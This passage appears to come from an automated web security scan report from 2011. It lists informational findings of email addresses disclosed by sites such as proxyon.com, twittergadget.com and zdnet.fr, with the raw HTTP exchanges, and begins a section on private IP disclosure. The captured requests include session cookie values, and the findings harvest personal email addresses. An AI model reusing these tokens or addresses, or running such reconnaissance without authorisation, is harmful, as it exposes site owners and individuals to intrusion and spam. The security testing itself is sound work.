GET /products/codexwiki HTTP/1.1
Host: www.ortussolutions.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.ortussolutions.com/products
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=463913; CFTOKEN=fcf8c721c8b2670e-40BCBA0F-FB46-D832-C6293E0C58B5A1A6; JSESSIONID=8430cd39ec707b2f9ce2567e797f56675177; __utma=119068758.1923299070.1314798151.1314798151.1316461817.2; __utmb=119068758.4.10.1316461817; __utmc=119068758; __utmz=119068758.1316461817.2.2.utmcsr=coldbox.org|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:05:56 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 7696

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Ortus Solutions, C
...[SNIP]...
<meta name="Author" content="Luis Majano - info@ortussolutions.com" />
...[SNIP]...

14.148. http://www.pcworld.com/script/jqModal.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcworld.com
Path:	/script/jqModal.js

Issue detail

The following email address was disclosed in the response:

bhb@iceburg.net

Request

GET /script/jqModal.js HTTP/1.1
Host: www.pcworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:39 GMT
Server: Apache
X-GasHost: gas1
X-Cooking-With: Gasoline-Local
X-Gasoline-Age: 104
Last-Modified: Mon, 11 Apr 2011 16:58:54 GMT
Etag: W/"3355-1302541134000"
Content-Type: text/javascript
Vary: Accept-Encoding
Content-Length: 3355

/*
* jqModal - Minimalist Modaling with jQuery
* (http://dev.iceburg.net/jquery/jqModal/)
*
* Copyright (c) 2007,2008 Brice Burgess <bhb@iceburg.net>
* Dual licensed under the MIT and GPL licen
...[SNIP]...

14.149. http://www.proxyon.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/

Issue detail

The following email address was disclosed in the response:

info@proxyon.com

Request

GET / HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:05:29 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:05:29 GMT
Content-Type: text/html
Content-Length: 11095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Proxyon > Home <
...[SNIP]...
<br />
                   info@proxyon.com<br />
...[SNIP]...

14.150. http://www.proxyon.com/communication/links previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/communication/links

Issue detail

The following email address was disclosed in the response:

info@proxyon.com

Request

GET /communication/links HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:06:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:06:05 GMT
Content-Type: text/html
Content-Length: 8792

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Proxyon > Home
...[SNIP]...
<br />
                   info@proxyon.com<br />
...[SNIP]...

14.151. http://www.proxyon.com/contact previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/contact

Issue detail

The following email addresses were disclosed in the response:

info@proxyon-international.com
info@proxyon.com

Request

GET /contact HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:06:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:06:05 GMT
Content-Type: text/html
Content-Length: 8928

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Proxyon > Home
...[SNIP]...
<a href="mailto:info@proxyon-international.com"><span style="font-size: 14px">info@proxyon.com</span>
...[SNIP]...
<br />
                   info@proxyon.com<br />
...[SNIP]...

14.152. http://www.proxyon.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/favicon.ico

Issue detail

The following email addresses were disclosed in the response:

info@g-soft.nl
info@proxyon.com

Request

GET /favicon.ico HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:05:34 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:06:04 GMT
Content-Type: text/html
Content-Length: 8725

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Proxyon > Home
...[SNIP]...
<a href='mailto:info@g-soft.nl'>
...[SNIP]...
<br />
                   info@proxyon.com<br />
...[SNIP]...

14.153. http://www.proxyon.com/solutions/fico_solutions previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/solutions/fico_solutions

Issue detail

The following email address was disclosed in the response:

info@proxyon.com

Request

GET /solutions/fico_solutions HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:06:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:06:05 GMT
Content-Type: text/html
Content-Length: 9601

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Proxyon > Home
...[SNIP]...
<br />
                   info@proxyon.com<br />
...[SNIP]...

14.154. http://www.proxyon.com/solutions/reorganizing_system_structures previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/solutions/reorganizing_system_structures

Issue detail

The following email address was disclosed in the response:

info@proxyon.com

Request

GET /solutions/reorganizing_system_structures HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:06:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:06:05 GMT
Content-Type: text/html
Content-Length: 10038

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Proxyon > Home
...[SNIP]...
<br />
                   info@proxyon.com<br />
...[SNIP]...

14.155. http://www.styleshout.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.styleshout.com
Path:	/

Issue detail

The following email address was disclosed in the response:

ealigam@gmail.com

Request

Response

14.156. http://www.styleshout.com/images/style.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.styleshout.com
Path:	/images/style.css

Issue detail

The following email address was disclosed in the response:

ealigam@gmail.com

Request

GET /images/style.css HTTP/1.1
Host: www.styleshout.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/css,*/*;q=0.1
Referer: http://www.styleshout.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=kbdds41vb8ph468saqdroiikr1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:48:37 GMT
Server: Apache
Last-Modified: Fri, 08 Jan 2010 05:14:19 GMT
ETag: "f9a032-3965-47ca0427de0c0"
Accept-Ranges: bytes
Content-Length: 14693
Content-Type: text/css

/********************************************
AUTHOR    : Erwin Aligam
WEBSITE    : http://www.styleshout.com/
EMAIL        :    ealigam@gmail.com
VERSION : 2.0
*******************************************/

/********************************************
HTML ELEMENTS
********************************************/

/*
...[SNIP]...

14.157. http://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.html

Issue detail

The following email address was disclosed in the response:

recycle@logika.net

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:59 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...

14.158. http://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.php

Issue detail

The following email address was disclosed in the response:

recycle@logika.net

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:56 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...

14.159. http://www.twittergadget.com/gadget_gmail.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/gadget_gmail.xml

Issue detail

The following email address was disclosed in the response:

twittergadget@logika.net

Request

GET /gadget_gmail.xml HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:59 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 1618
Cache-Control: public
Expires: Wed, 19 Oct 2011 15:19:59 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8" ?>
<Module>
<ModulePrefs

thumbnail="http://www.twittergadget.com/images/thumbnail2.png"
screenshot="http://www.twittergadget.com/images/twittergad
...[SNIP]...
arches, Block and Spam Reporting, oAuth Authentication, User Accounts, and more..."
scrolling="true"
singleton="true"
height="450"
author="LOGIKA Corporation"
author_email="twittergadget@logika.net"
author_aboutme="Internet technology computer specializing in search and navigation, coding gurus."

>
...[SNIP]...

14.160. https://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.html

Issue detail

The following email address was disclosed in the response:

recycle@logika.net

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:04 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...

14.161. https://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.php

Issue detail

The following email address was disclosed in the response:

recycle@logika.net

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:02 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...
<input type="hidden" name="business" value="recycle@logika.net">
...[SNIP]...

14.162. http://www.vormetric.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vormetric.com
Path:	/

Issue detail

The following email address was disclosed in the response:

sales@vormetric.com

Request

Response

14.163. http://www.zdnet.fr/js/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /js/jquery.cookie.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:36 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 10:51:43 GMT
ETag: "558b56-1096-499b81a698dc0"
Accept-Ranges: bytes
Cteonnt-Length: 4246
Cache-Control: max-age=31536000
Expires: Tue, 18 Sep 2012 19:15:36 GMT
Content-Type: application/javascript
Content-Length: 4246

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/li
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.164. http://www.zdnet.fr/js/jquery.hoverIntent.minified.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/jquery.hoverIntent.minified.js

Issue detail

The following email address was disclosed in the response:

brian@cherne.net

Request

GET /js/jquery.hoverIntent.minified.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:36 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 10:51:43 GMT
ETag: "48c17a0-646-499b81a698dc0"
Accept-Ranges: bytes
Cteonnt-Length: 1606
Cache-Control: max-age=31536000
Expires: Tue, 18 Sep 2012 19:15:36 GMT
Content-Type: application/javascript
Content-Length: 1606

/**
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @param
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

14.165. http://www.zdnet.fr/js/jquery.pngFix.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/jquery.pngFix.pack.js

Issue detail

The following email address was disclosed in the response:

andreas.eberhard@gmail.com

Request

GET /js/jquery.pngFix.pack.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:36 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 10:51:43 GMT
ETag: "558b55-9b5-499b81a698dc0"
Accept-Ranges: bytes
ntCoent-Length: 2485
Cache-Control: max-age=31536000
Expires: Tue, 18 Sep 2012 19:15:36 GMT
Content-Type: application/javascript
Content-Length: 2485

/**
* --------------------------------------------------------------------
* jQuery-Plugin "pngFix"
* Version: 1.1, 11.09.2007
* by Andreas Eberhard, andreas.eberhard@gmail.com
* http://jquery.andreaseberhard.de/
*
* Copyright (c) 2007 Andreas Eberhard
* Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php)
*/
eval(function(p,a,c,k
...[SNIP]...

15. Private IP addresses disclosed previous next
There are 102 instances of this issue:

http://www.connect.facebook.com/widgets/fan.php
https://www.cyscape.com/%22/products/bhtg//%22
https://www.cyscape.com/images/common/episodes.gif%22
https://www.cyscape.com/products/bhawk/
https://www.cyscape.com/products/bhtg/
https://www.cyscape.com/products/bhtg/howitworks.aspx
http://www.facebook.com/connect/connect.php
http://www.facebook.com/creditsuisse
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/recommendations.php
http://www.facebook.com/plugins/recommendations.php
http://www.google.com/sdch/sXoKgwNA.dct

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

